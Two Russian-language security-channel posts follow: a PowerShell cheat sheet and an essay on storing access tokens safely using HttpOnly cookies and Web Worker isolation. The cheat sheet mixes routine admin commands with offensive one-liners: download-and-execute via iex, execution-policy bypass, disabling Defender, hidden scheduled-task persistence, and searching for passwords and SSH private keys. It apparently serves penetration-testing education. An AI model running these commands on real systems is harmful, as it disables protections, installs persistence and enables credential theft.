🏃 Powershell Tips & Tricks

Для выполнения некоторых командлетов необходим импортированный AD модуль

🖥 ADModule

Подключаем:

Import-Module C:\Microsoft.ActiveDirectory.Management.dll -Verbose
iex (new-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1');Import-ActiveDirectory

или

Import-Module C:\Microsoft.ActiveDirectory.Management.dll -Verbose
Import-Module C:\ActiveDirectory\ActiveDirectory.psd1
Get-Command -Module ActiveDirectory

Информация о системе:

Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Property *

Список процессов:

Get-Process | Select-Object -Property ProcessName, Id, CPU | Sort-Object -Property CPU -Descending

FailureAudit в логах:

Get-EventLog -LogName Security | Where-Object {$_.EntryType -eq 'FailureAudit'}

Сканер портов:

1..1024 | ForEach-Object { $sock = New-Object System.Net.Sockets.TcpClient; $async = $sock.BeginConnect('localhost', $_, $null, $null); $wait = $async.AsyncWaitHandle.WaitOne(100, $false); if($sock.Connected) { $_ } ; $sock.Close() }

Выполнить команду на удаленном ПК:

Invoke-Command -ComputerName TargetPC -ScriptBlock { Get-Process } -Credential (Get-Credential)

Скачать и выполнить скрипт:

$url = 'http://example.com/script.ps1'; Invoke-Expression (New-Object Net.WebClient).DownloadString($url)

Execution policy bypass:

Set-ExecutionPolicy Bypass -Scope Process -Force; .\script.ps1

Список доменных юзеров:

# Нужен AD модуль
Get-ADUser -Filter * -Properties * | Select-Object -Property Name, Enabled, LastLogonDate

Список залогиненых юзеров:

Get-WMIObject -Class Win32_ComputerSystem -Computer "HOST01" | Select-Object Username

Давно не логинились, но УЗ включена:

# Нужен AD модуль
Get-ADuser -filter {enabled -eq "True"} -properties LastlogonDate | ? {$_.lastlogondate -le (get-date).adddays(-90)} | ft Name

Прибить процесс:

Get-Process -Name "Notepad" | Stop-Process -Force

Список установленного ПО:

Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, Publisher, InstallDate

Мониторинг изменений ФС:

$watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path = 'C:\'; $watcher.IncludeSubdirectories = $true; $watcher.EnableRaisingEvents = $true; Register-ObjectEvent $watcher 'Created' -Action { Write-Host 'File Created: ' $Event.SourceEventArgs.FullPath }

Отключаем Defender:

Set-MpPreference -SubmitSamplesConsent NeverSend
Set-MpPreference -MAPSReporting Disabled
Set-MpPreference -DisableRealtimeMonitoring $true

Задание в планировщик для закрепа:

$action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "YourCommand"'; $trigger = New-ScheduledTaskTrigger -AtStartup; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'MyTask' -Description 'MyDescription'

Поиск паролей в текстовых файлах:

Select-String -Path C:\Users\*\Documents\*.txt -Pattern 'password' -CaseSensitive

Собираем SSH ключи:

Get-ChildItem -Path C:\Users\*\.ssh\id_rsa -Recurse

Продолжение следует

#powershell #windows

✈️ Whitehat Lab

Представим ситуацию, у нас реализуется web-приложение с stateless сессиями — с использованием accessToken. Пользователь проходит аутентификацию, и backend-сервер выпускает accessToken и передает его клиенту.
Классический вопрос: «Где хранить accessToken на клиенте?».

Если JS-коду не нужно взаимодействовать с токеном, то единственным безопасным вариантом является хранение токена в Cookie с атрибутами HttpOnly, SameSite, Secure. Однако, как быть, если такая необходимость есть? Хранить токен в localStorage?

😏Чем плохо такое решение? Если хранить accessToken в localStorage, то при XSS у злоумышленника будет доступ к хранилищу браузера, и токен может быть украден.

На практике мне встречалась реализация, где разработчики и рыбку съели и токен хранили в Cookie, и подставляли его в HTTP Header через JS.
Как? Всё просто — они реализовали API, который возвращает в теле ответа все Cookie, которые передавались в HTTP запросе. JS-код брал токен из ответа и подставлял в HTTP заголовок Bearer для следующего запроса. По сути это обход защиты атрибута HttpOnly.

😏Чем плох этот вариант? Помимо XSS, при небезопасной конфигурации CORS, злоумышленник сможет получить токен жертвы из ответа сервера, заманив ее на подконтрольный ресурс.

Существует еще одно решение — хранить токен в переменной JS и обернуть его в замыкание. Однако у злоумышленника останется возможность влиять на контекст выполнения. Поэтому, более безопасный метод - предотвратить вмешательство с помощью XSS в среду выполнения, которая имеет токен, достигая изоляции контекста. В веб-фронтенде это можно сделать с помощью Web Workers.

Web Workers это механизм, который позволяет скрипту выполняться в фоновом потоке, который отделен от основного потока веб-приложения.

Идея заключается в том, чтобы поместить все запросы API в рабочий поток. Благодаря изоляции среды выполнения, если в рабочем потоке нет XSS, основной поток не может вмешаться в рабочего и не может получить доступ к его данным. Это обеспечивает безопасность токена.

Web Worker делится на три вида:
• Dedicated workers: используется только одним скриптом
• Shared workers: может использоваться несколькими скриптами в разных окнах/фреймах.
• Service Workers: выполняет роль прокси-сервера для взаимодействия между веб-приложением, браузером и сетью.

🔍 В этой статье описывается пример использование Dedicated Worker и обоснование отказа от Service Worker.

🔍 В этой статье, напротив, используется Service Worker + описываются другие примеры использования «прослойки» между фронтом и беком. Например, в кейсе, который я описывал выше (с API, которая возвращает Cookie в ответе), можно было бы использовать прокси на бэке, отказавшись вовсе от работы JS-кода с токеном в браузере пользователя.